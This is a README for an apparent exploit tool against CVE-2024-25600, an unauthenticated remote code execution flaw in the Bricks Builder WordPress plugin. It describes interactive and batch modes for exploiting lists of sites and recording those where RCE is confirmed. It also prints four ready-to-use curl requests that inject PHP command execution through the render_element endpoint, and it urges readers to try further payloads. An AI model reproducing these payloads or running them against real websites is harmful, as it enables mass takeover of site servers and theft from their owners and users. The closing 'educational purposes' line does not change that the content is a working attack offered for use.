This tool 🛠️ is designed to exploit the CVE-2024-25600 vulnerability 🕳️ found in the Bricks Builder plugin for WordPress. The vulnerability allows for unauthenticated remote code execution on affected websites 💻. The tool automates the exploitation process by retrieving nonces and sending specially crafted requests to execute arbitrary commands.

• Interactive Mode: Engage with the target website in real-time 🕹️.
• Batch Mode: Scan and exploit multiple websites from a list 📋.
• Command Execution: Execute arbitrary commands on the target server ⚙️.
• Payload Customization: Choose between different payloads for exploitation, including generic, carousel, container, and code 🧰.
• RCE Confirmation: Option to display and record only URLs where RCE is confirmed ✔️.

1. Clone this repository to your local machine 🖥️ using git clone.
2. Navigate to the directory of the cloned repository.
3. Install the required Python libraries using pip install -r requirements.txt.

1. Run the tool with python exploit.py -u <URL> to start interactive mode.
2. Follow the on-screen prompts to send commands to the target server.

1. Prepare a text file with a list of target URLs.
2. Run the tool with python exploit.py -l <file_path> to scan and exploit the listed sites.
3. Use the --only-rce flag to display and record only URLs where RCE is confirmed.

• Use the --payload-type option followed by generic, carousel, container, or code to specify the type of payload for the exploit.

  Example: python exploit.py -u <URL> --payload-type generic

The base PoCs provided by the disclosure are as follows:

First PoC:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Second PoC:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
  -H "Content-Type: application/json" \
  -d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "carousel",
    "settings": {
      "type": "posts",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Third PoC Source:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
  -H "Content-Type: application/json" \
  -d '{
  "postId": "1",  
  "nonce": "[NONCE]",
  "element": "1",
  "loopElement": {
    "settings": {
      "query": {
        "useQueryEditor": "",
        "queryEditor": "throw new Exception(`id`);"
      }
    }
  }
}'

Fourth PoC (Effective on Older Versions):

curl -k -X POST "http://[HOST]/index.php?rest_route=/bricks/v1/render_element" \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "code",
    "settings": {
      "executeCode": "true",
      "code": "<?php throw new Exception(`id`);?>"
    }
  }
}'

Note: The fourth PoC is particularly effective on older versions of Bricks Builder (tested on version 1.8), where previous PoCs may not work.

It's possible that additional payloads could yield better results. If my exploit or proof of concept does not work for you, I encourage you to experiment with alternative payloads to find a more effective solution.

Replace [HOST] with the target website and [NONCE] with the nonce value retrieved from the site.

For more information about the CVE-2024-25600 vulnerability, please refer to the detailed disclosure at Snicco.io.

The information provided in this README is for educational purposes only. Unauthorized hacking into websites or networks is illegal and unethical. 🚫

Kudos to the security researchers who discovered and reported this vulnerability, providing the community with information and tools to help secure their web applications.